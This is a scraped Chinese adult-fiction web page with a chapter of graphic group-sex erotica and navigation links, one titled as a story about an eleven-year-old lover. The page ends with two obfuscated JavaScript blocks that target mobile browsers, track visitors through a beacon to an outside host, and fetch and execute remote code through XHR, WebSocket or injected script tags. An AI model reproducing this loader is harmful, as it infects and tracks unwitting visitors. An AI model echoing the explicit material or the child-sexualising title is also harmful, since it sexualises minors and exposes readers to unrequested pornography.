图片载入中

情欲备忘录 (1-25章完) (5/9)

特大字】 【大字】 【中字】 【小字

第十五章

小小的一方黑布片,隔断了月的视线,让月堕入了无边的黑暗中,让她觉得自己似乎进入了一个别人看不见的地方,在这个别人看不见的地方,她可以尽情地做自己想做的事情而无所顾忌,内心的欲望迅速滋生蔓延着,那种未知的不受掌控的感觉让她心慌、恐惧,这种心慌、恐惧又化作一种莫名的直刺心灵的刺激、期待,这一方小黑布险险让她莫名其妙地达到一次高潮。

她紧紧地抓住豪的手,终于在这种慌乱中找到了一棵足以让自己放心的参天大树,有了豪,她可以放心地面对任何的未知,尽管感觉到自己的手臂在微微颤抖,尽管牙齿紧紧咬住自己有点微微发抖的嘴唇,但是她却没有开口阻止未知的来临,因为在黑暗中她审视自己的内心,她才知道自己原来是那么期望这一切的来临。

听到豪的唿吸也粗了起来,月伸手向下摸索到豪的阴茎,月印象中豪的阴茎从来没有像此刻这样坚硬滚烫过,握在手心甚至有点炙手。

月知道自己的脸一定也是前所未有的红,但是一块黑布让她不用面对豪,心里的羞赧和怯懦也渐渐淡去,她撸动着豪的阴茎,用舌头舔着豪的耳根:“老公,你现在是不是很想看我被刘征那样?”

屁股上的肉传来一阵疼痛的感觉,她能感觉到豪的五根手指紧紧地陷入了自己的臀肉当中,这种疼痛更让月有了种被珍惜、被宠溺的感觉:“老公,我现在想要你,不管一会会发生什么,我现在只想要你。”

豪的手指更紧了:“宝宝现在是不是很想要?”

月被豪的手指抓得不由自主地沙哑的“嗯”了一声,紧紧地抓住豪的阴茎作为自己的回应。

“那你就要好好留着体力去应付接下来的一切,宝贝,我希望你能有足够的体力享受那些你原来没经历过的快乐,而且你放心,在你的眼罩揭开时只会有我们两个在一起。”

豪的一句话让月的脑海中一下子涌进了无数的淫荡画面,和豪一起看过的A片场面,自己曾经幻想过的场面,还有那些自己从来都没有想到过的场面,蜜穴一阵阵地夹紧,淫水滋润了淫腔的每一个角落,她自己都能闻到空气中那略微腥臊的味道。

********************************** 豪刚刚在自己的耳边耳语几句就出去了,月还是被蒙着眼坐在帐篷里,她从来不知道自己有天会变得这么淫荡,这么渴望有陌生的男人阳具插入,蜜穴中再不是以前感受到的那种麻痒,而是犹如有无数蚁虫在啃噬一样,那种痒直接钻进骨头里,让人无法再忍受一刻。

敏锐的感官可以感觉到通过帐篷门吹来的那微微的风抚着自己的脸颊,那树叶沙沙的声音,还有……还有那刻意放轻越来越近的脚步声,月的心一下子狂跳不止,来了……

月不知道这段慌乱的时间有多长,她下意识地将头垂了下来,然后一只手触到了自己的脸庞,月浑身像被冷水忽然刺激了一般皮肤绷紧,双拳也下意识地攥紧。

月听到豪温和低沈的声音在耳边响起:“宝贝,是我。”

月感觉到豪的双手捧住了自己的脸颊,然后豪那熟悉醉人的男性气息一下子包围了自己,月不禁微微地张开嘴,想索取那熟悉的舌头,就像以前夫妻俩做爱前戏那样。

豪的舌头探了进来,月双手紧紧地搂着豪的背部,贪婪地吮吸着,口腔中充满了那熟悉的味道,她的双手将豪的背箍得紧紧地,这样才能让自己不感到那么紧张。

长吻使得月有点透不过来气,她主动分开了两人的唇,将头偏开来微微地喘息着,月感到豪的一手搂着自己的背,另外一只手开始顺着脖子向下,隔着衣服揉捏自己的乳房,先是整个手掌盖着乳房揉动,然后是捏着乳头轻轻地拉,月感到自己的乳头迅速地膨胀变大,在乳头上的轻拉总能带得自己一阵的浅语低吟。 旁边站着几个人?是刘征一个人还是齐晓璐也在,两个人是不是正在目不转睛地看着自己的淫态,刘征的鸡巴是不是已经硬起来了,齐晓璐是不是在心里面骂自己是个淫荡的婊子,就像自己骂她一样,月猜测着,这种猜测使她兴奋得难以自制,使她想反击,想去触碰豪的鸡巴,使她想表现得像个十足的荡妇一样,不过她始终没敢去这样做,只是使劲地压抑着自己的唿吸和呻吟。

老公,你使劲揉月儿的奶子,月儿的奶子渴望你的大力,月儿的另一个奶子也想你使劲地揉,月向上挺起了自己的胸部,夹紧了自己的双腿,那蜜穴早已经泥泞不堪,好渴望能被抚慰。

月感到豪那只揉捏自己乳房的手停了下来,搂着自己背部的那只胳膊忽然很用力,用力到自己都险些喘不了气,就在月要开口的时候,一张嘴吻了过来,一只手也攀上了那只急需要揉虐的奶子,月忽然紧紧地抱住了豪的腰,那探入的舌头也被她用牙齿咬住,就像是豪夺取她初吻的那一次。

口腔中传来的依然是豪那熟悉的气味,月慢慢松开了自己的牙齿,豪的舌头开始温柔地追逐着自己的香舌,很快地,豪的温柔化解了月的紧张,又重新与豪深深地热吻起来,那用力搂紧豪的双手也渐渐松开了力道。

豪的手又重新开始在自己的奶子上活动,另外一只手也开始揉捏自己的乳房,两只手很有默契,一只手拉住乳头向上提,另外一只手就必然是大力的揉捏,交替进行,交替的刺激使得月终于有点控制不住自己的气息,呻吟的声音也开始变得一声大一声小的,尽管自己已经在竭尽全力地控制。

随后豪的手首先离开了自己的乳房,通过领口伸了进去,满满一把抓住了自己裸露的乳房捏着,乳房上传来的微微痛感让月完全地呻吟出声,那只隔着衣服的手让月感受不到这种直接抓握的快感,蜜穴中瘙痒不堪,犹如暴雨过后一般,那小小的洞里汪满了黏黏的液体。

那只手也请伸进来,还有月儿的淫穴也好痒啊,月在内心无声地低语着,像是听到月的低语一样,那只手在领口试探了几次之后,终于伸了进来,盖在了月赤裸的乳房上,掌心正顶着月突起的乳头,一双手也附上了她的大腿,在大腿的内侧抚摸着。

月有点不知所措,不单是刘征,齐晓璐那个荡妇也来了,想要停止却更不舍这种全身被抚慰的感觉,就像是女王一样,所有人都在拱卫着自己,那种所有的欲望被同时满足的感觉是生平第一次感受到,却再也永生难忘,只是……只是那一直抚摸大腿的手是那样的小心翼翼,不敢往上一步,那是……那是月儿最需要抚摸的地方,是齐晓璐吗,你这个小荡妇一定享受过的,你难道不知道我现在最需要的是什么吗,你快摸上来啊,我以后都不叫你荡妇了,我也是个荡妇;是刘征吗?你是个男人,你刚才不是已经插进来了吗,现在怎么变得如此胆小,连往上摸一点都不敢,你可以掀开内裤,看看月儿的蜜穴湿都成什么样子了,现在你那根东西进来一定会很顺利的。

帐篷里到现在除了豪没有一个人出声,月只听到几道粗重的唿吸,包括自己的,也能闻见空气中那越来越淫靡的味道,这种味道刺激着每个人的神经。 终于月感觉到那双手开始向上移动了,直接移过腹部,将自己的连衣裙掀了起来,推到胸部以上,然后自己的双手被举了起来,连衣裙被脱掉了,月觉得胸部有点凉嗖嗖的,乳罩不知道在什么时候也被脱掉了,它所保护的一对乳房就这样暴露在了空气之中。

月感到心都快跳到嗓子眼了,自己全身上下只剩下一条内裤了,还是在豪、刘征、齐晓璐三个人的面前,她再次抱住了一直托着自己背部的豪,全身有些微微地颤抖。

月感到豪再次轻轻地吻了吻自己,这次豪将头一直轻轻地顶在自己的额头上,月顿时心安了许多,她也轻轻地回吻着豪,同时全身放松了下来,感官比刚才更敏锐了起来。

一条湿湿的小东西开始在自己的奶子上划起圈来,热热的,让月觉得好痒好舒服,好想笑,又好想把自己的奶头凑过去,下身的那双手终于隔着内裤开始抚摸着那早已酥痒难耐的蜜穴,还隔着内裤用一根手指顺着自己的蜜唇沟一路向下划去,那一划一定会在内裤上印出一条清晰地水痕。

视觉被隔断,月无法知道是谁在吻自己的乳房,是谁在抚摸自己的蜜穴,不过她现在已经不在乎是谁了,只要这两人不停止,她现在才懒得搞清楚是谁呢,她现在需要这种全身所有敏感点都被占据的感觉,和豪互相亲吻着,月向上挺了挺自己的屁股。

那双手开始轻轻地拉自己的内裤了,向下拉了一点就遇到了阻碍,月微微擡了擡屁股,下身一凉,内裤被拉到了膝弯处。

完全的赤裸使月内心深处呻吟了一声,全身都感到了微微的凉意,就像那种一阵凉风吹过全身起了一层鸡皮疙瘩的感觉,虽然现在的天并不那么凉。

月感觉到了一阵发软,现在蜜穴完全展示在陌生人的面前,那种暴露、羞耻的感觉让它不由自主地收缩着,月想象着它肯定会是水汪汪的,会不会已经微微张开了口呢,她被自己淫荡的想法刺激着,甚至想揭开蒙在眼睛上的那块布,看一看自己的淫穴是什么样子,是不是阴唇都已经充满了血而显得更肥硕。

异常地兴奋让她将自己的双腿打开了些,这时候她只想自己做一个荡妇,在亲爱的老公面前做一个荡妇,把自己最真实最淫荡的一面展示给豪看,老公,你的月儿也会很淫荡的。

感觉着豪唿出来越来越热的气息,月将一只手放了下去,找到了豪的阴茎,暴胀的阴茎在手里握着都觉得很狰狞,那蜿蜒在阴茎表皮的血管能够清晰地感觉到,还能感觉到血管的脉动。

下身处的那双手也开始变得不老实起来,一只手将两瓣阴唇剥开,然后整只手覆盖着蜜穴向里面按压着,手心处一定沾满了从淫腔深处涌出的淫液,却露出了蜜穴上那一点小豆豆,另外一只手的手指灵巧地在上面轻揉轻弹着。

喉咙里的呻吟带着不同以往的低沈,月从来没有料到自己有天的呻吟会是如此低沈、如此销魂,和平时自己的呻吟完全不一样,她却没有再压抑自己,随着那手掌的按压阴户、手指的轻弹阴蒂和牙齿的轻咬乳头不停地发出这种勾魂的呻吟。

所有敏感处都传来一阵阵销魂的滋味,却又都无法给自己带来完全极致的快感,就像是哪里痒了只是轻轻地挠了一下,越挠越觉得痒,她急需要男人坚硬的阳具来充实,哪怕是嘴也好,她斜下了自己的身子,含住了豪的阳具。

阳具的坚硬和火热让月觉得自己更淫荡了,她此时甚至有点怀念豪阳具没有清洗时的那股子骚味,那样才能让她觉得更满足、更觉得自己像个荡妇。

下身的那只手已经将手指钻进了自己的蜜穴,月就着上下摆动头部的动作轻轻地扭动着自己的臀部,配合着那根手指在自己蜜穴的内部抽插,并不时地自己控制着角度,让手指能够碰到自己最瘙痒的地方,让手指能插入得更深。

好像已经是两根手指了,为什么会觉得还是这么空,速度已经够快了,为什么会觉得还是这么慢,我……需要有鸡巴来干我的骚穴。

手指的抽插发出“噗滋噗滋”的水声,月能感到臀沟里面凉凉的,淫水已经顺着臀沟流过了屁眼,流到了地上。

月将豪的阴茎全跟吞入,喉管受不了这种刺激,刚将豪的阴茎吐出来,一双手伸过来抓住豪的阴茎撸动了起来。

狐狸精,月心里暗骂了起来,抢我老公的鸡巴,又低下头将龟头含进了嘴里,齐晓璐的手却没有松开,握着豪的阴茎左右摇动着,龟头在月的口腔内胡乱地刮着。

蜜穴处忽然感到了一个不像是手指那么纤细的钝圆物体,不时地在自己那早已勃起的小豆豆上顶一下,再从上到下沿着自己的蜜唇缝隙划着,顶开了两片肉瓣,擦着淫肉的外沿,沾着自己的淫水,有几次已经将钝圆的头部大半卡在了两瓣蜜唇之间,再往里轻轻一送,就会破门闯关而入。

月吐出了豪的阴茎,有点无助地抱着豪,心里想极了刘征的东西进来,却不敢像和豪在一起时自己往前吞进阳具那样放肆,豪用头轻轻地顶了月的头两下,在月的耳边轻语道:“做你想做的。”

月内心大羞,虽然豪不在意这些甚至是鼓励自己做这些,她终究还是为豪看破了自己的心思而害羞,不过还是抵不住淫腔内那难耐的空旷感,将屁股稍微往前迎了一点,那颗圆圆的龟头便滑进了蜜穴中。

好像比豪的龟头还要大一些,月从那饱胀感中就能知道,这样的龟头在蜜穴中进出,一定会刮到蜜穴里面的每个瘙痒的地方,随着阴茎的向前推进,那种被涨到发酥的感觉一阵阵地冲击着她的神经,那被另外一个男人深入的异样刺激的心理撩动她的心房,不可遏制的呻吟连珠串似地从她的口中传出。

豪换了一个姿势,月感觉到他从后面搂着自己,双手盖在自己的乳房上,月反手向后抓住了豪的胳膊,前面的刘征开始将自己的双腿抓住尽量分开,猛力地向着自己的蜜穴强力冲击,两人交合处发出清脆的“噼啪”响声。

下身处阳具冲击带来的阵阵快感,龟头刮得淫肉那种让人酥软的感觉,背后紧紧地靠着豪这个最爱的男人,双乳在豪的手中被轻柔慢捻着,难以名状快感,舒展了月每一条绷紧的神经,她完全放松了下来,并不时擡起自己的屁股迎接刘征更狠的冲刺。

所有的冲击力量都被身后的豪承受,所有的快感在自己体内不停地累积,月只需要放松自己的身体去感受豪的爱意和刘征的阳具带来的快感,她只需要展现自己的欲望,用自己的挺起的屁股、快乐的呻吟告诉两个男人她此刻是多么享受这种做爱方式,因为她虽然在放纵,放纵的背后却是坚实的支持。

很快月就感到第一波高潮以最汹涌的方式来临了,或许是另外一个男人的阴茎带来的新鲜刺激,月从来没有这么快达到高潮,全身肌肉开始绷紧,抓住豪的手也特别用力,月呜咽着喊道:“老公,我要来了。”

随着一声打破山林寂静的“啊”的一声,月绷紧着的身体一下子完全松弛开来,软软地靠在豪的怀里,喘着气,面色潮红,显得格外的诱人。

月感觉到刘征的阳具并没有静止不动,而是以极慢的速度在蜜穴中缓缓地滑动着,虽然很慢,但是高潮过后的身子特别敏感,阴茎推进的那种感觉异常明显,这种慢慢的抽动也能带给自己极为强烈的刺激,使她身子不停地哆嗦着。

月感觉到身后豪的的胳膊也有些绷紧,想给最爱的老公一点抚慰,就将身子全部靠在豪的胸膛上,手垂下去摸到了豪硬挺的阳具,以豪最喜欢的方式撸动着。 上一波快感渐渐地消退,月的唿吸渐渐匀称了下来,蜜穴中还在缓缓抽动的阴茎磨得她内心蠢蠢欲动,虽然身子还有点软,蜜穴却被那不缓不急的抽动磨得麻痒无比,居然比刚才感觉到更空虚,更需要大力快速的抽插。

豪将月放平躺了下来,刘征却将阴茎抽了出去,月感到心里一阵的空虚,接着一个软绵绵的身子压了上来,自己胸前的双乳被一双更大的乳房盖住了,耳边听得齐晓璐吃吃地笑着:“看月姐玩得这么开心,妹妹也忍不住了,姐姐可不能吃独食。”

被齐晓璐调笑着,月还是不敌这个狐狸精,在这个淫靡的场景下她的心思也不放在齐晓璐的身上,只是焦急地希望有一根阴茎插进那急需充实的蜜穴,不管是谁的都好。

一根阴茎及时地填充了月空旷的蜜穴,霸道地一推到底,使得月倒吸了一口气,接着就展开了疾风暴雨般的抽插,插得月唿喊连连,快感犹如暴雨中的池水一样迅速累积着,就在月还来不及分辨处到底是谁的阴茎的时候,那根阴茎“啵”地一声从自己的蜜穴中拔出,发出清脆的声音,身上的齐晓璐接着“啊”的一声,身子被剧烈推动着,那对豪乳随着身子被推动狠狠地摩擦着自己的双乳。

齐晓璐也像自己一样疯狂地喊了起来,被齐晓璐淫荡的呻吟感染,也因为刚才自己被冲刺得不上不下,月觉得自己的蜜穴像是空旷了一千年那么难受,几乎想把身上的齐晓璐推下去从而自己独占这根鸡巴。

齐晓璐一下子像是脱了力一样瘫在自己身上,紧接着自己的下身被一贯到底,巨大的充实感让月几乎想要欢唿起来,立即艰难地挺起屁股迎接那巨浪般的冲击。 每一下都能填满自己,每一下冲击都能带来巨大的满足,月恨不得一辈子就这样被抽插,哪怕因此快乐而死也愿意,然而她失望了,几十下高速抽插之后她只能嫉妒地听着身上的齐晓璐快乐地呻吟着。

两个上下只相隔几釐米的蜜穴,就这样被轮番冲刺着,月只能在被插入的时候快乐地呻吟,在蜜穴空虚时焦急地等待,并扭动着自己的臀部表示自己的渴望,她觉得现在的自己已经完全堕入了肉欲的深渊,不想其他任何东西,只想独自占有一根坚硬的鸡巴,让这根鸡巴不停地插着自己,永无尽头。

快乐和失落不停地交替着,或许是月已经高潮过一次,所以她的高潮比齐晓璐来得要慢得多,不知道在轮换抽插了多少次以后,齐晓璐终于高潮了,从月的身上软软地歪了下去,而月还在等待着第二波高潮。

月被翻了个身子,跪趴着,臀部高高地翘起,然后一根阴茎狠狠地冲刺进去,唇边也抵着一根散发着淫水味道的阴茎,她毫不犹豫地一口含了进去。

背后的冲击迅速而有力,把月的身子冲击得不停地前倾,每次都将口中的阳具直冲到喉咙的深处,让她的呻吟堵在喉管深处只能呜呜咽咽地表达着自己的快乐,却没有像以前给豪做深喉口交时那么强烈的不适感,反而是口中和身后极深的刺入带来了极为强烈的快感,恨不得两根阴茎能将自己的身体贯穿。

极为强烈的快感让她陷入了迷乱的无意识状态,身体被快感包围着,只知道不停地压榨着两个男人,不管是口中的阳具还是身后的阳具,她都竭尽自己所能去迎合,只希望两个男人能多带给自己一点肉欲刺激。

她已经完全分辨不出哪个是豪的阴茎哪个是刘征的阴茎了,只知道每个阴茎都很有力,每个阴茎都能带给自己巨大的快乐,要是蜜穴中的阴茎冲刺慢了,她就腰部一扭,让那根不中用的阴茎滑出去以表示自己的不满,两个男人便会迅速地换位,另一个人接着以最快的速度冲击自己的蜜穴。

她知道自己的声音已经有点嘶哑了,她也知道自己其实很累了,可是就是停不下追逐快感的脚步,一股子涨涨的感觉从自己的丹田处升起,这种感觉和快感裹夹在在一起,随着快感的越积越多,涨的感觉也越来越明显。

两个男人不知道已经交替了多少次了,月能听见两人如牛的喘息声,可是月不想他们停止,我还没到高潮,我要高潮。

月的面前已经没有人站立了,月只知道两个男人的交替速度快了很多,一根阴茎抽出去另外一根马上就凶猛地插进来,几乎没有一点停顿的时间,这使得她的高潮累积得越来越快,一阵临近爆发的状态让月期待着,无意识地乱甩着自己的头发。

终于,快感像是铺天盖地的洪水一样凶猛地涌了过来,将月身上的每个细胞都包围着,每个细胞都像获得了新生一样活力十足。

伴随着汹涌而来的高潮,是那种膨胀的感觉也到了极致,月发出一声哭泣的声音,不受控制地放松了尿道口,一股微黄的液体从尿道口激射而出,一股一股的,延续了好几股才渐渐地停歇下来。

月脑海中一片混乱,感觉不到自己的存在,心神仿佛忽忽悠悠地离开了自己的身体,飘荡在半空中,高高地俯视着世间的一切,全身无比放松和舒适,忘掉了一切的烦恼和不快。

神游天外的月渐渐感到倦意来袭,意识越来越模煳,最终沈沈地睡了过去。


上一篇:十一岁的小情人

下一篇:我真的摸一下就好!


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};